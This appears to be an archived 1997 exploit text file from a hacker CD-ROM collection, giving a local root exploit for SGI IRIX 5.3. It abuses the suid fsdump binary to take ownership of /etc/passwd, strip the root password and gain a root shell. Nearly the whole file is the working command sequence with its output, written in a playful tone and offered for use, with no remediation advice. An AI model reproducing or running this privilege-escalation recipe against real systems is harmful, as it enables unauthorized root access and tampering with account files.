home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / irix-fsdump.txt < prev    next >
Text File  |  2001-11-06  |  2KB  |  59 lines
  1. Ok. Well, yet another IRIX 5.3 root exploit.
  2. Of course, the major problem here is that IRIX allow users to
  3. give away ownership of files. Without that, this could only
  4. be used for changing the permissions on file so that you could read
  5. and modify.
  6.  
  7. The system (an Indy):
  8. IRIX irix 5.3 11091812 IP22 mips
  9.  
  10. irix% ls -la /var/rfindd/fsdump
  11. ---s--x--x    1 root     sys        62032 Jul 25  1995 /var/rfindd/fsdump
  12.  
  13. What tipped me off that it was exploitable was the fact that it
  14. was a protected suid binary (---s--x--x). I thought: if someone at
  15. SGI is being careful to not let non-root users read the binary,
  16. then it *must* be packed with holes... :-)
  17.  
  18. So, I'm just a normal user today...
  19.  
  20. irix% id
  21. uid=1799(csh) gid=500(users)
  22.  
  23. irix% /var/rfindd/fsdump -L/etc/passwd -F/tmp/dump /
  24. (count to three, and hit ctrl-c)
  25.  
  26. irix% ls -la /etc/passwd
  27. -rw-r--r--    1 csh      users        956 Feb 25 06:23 /etc/passwd
  28.  
  29. And now I've got root access...
  30.  
  31. irix% tail -8 /etc/passwd
  32. nobody:*:60001:60001:SVR4 nobody uid:/dev/null:/dev/null
  33. noaccess:*:60002:60002:uid no access:/dev/null:/dev/null
  34. nobody:*:-2:-2:original nobody uid:/dev/null:/dev/null
  35.  
  36. Tue Feb 25 06:23:48 PST 1997
  37. Number of inodes total 208740; allocated 31259
  38. Collecting garbage.
  39. interrupted
  40.  
  41. All you have to do is edit off the garbage from the passwd file,
  42. delete the encrypted root password and reset the perms on the passwd file.
  43.  
  44. irix% vi /etc/passwd            # remove the encrypted root password
  45. irix% chgrp sys /etc/passwd
  46. irix% chown root /etc/passwd
  47. irix% su -
  48. irix#
  49.  
  50.  
  51. That's it.
  52. (Heck, you don't even have to remove the garbage from the passwd file.)
  53.  
  54. This can be used to access pretty much any file on the system
  55. which is currently group owned...
  56.  
  57. fun, fun, fun until SGI takes the bugs away... ;-) (right)
  58.  
  59.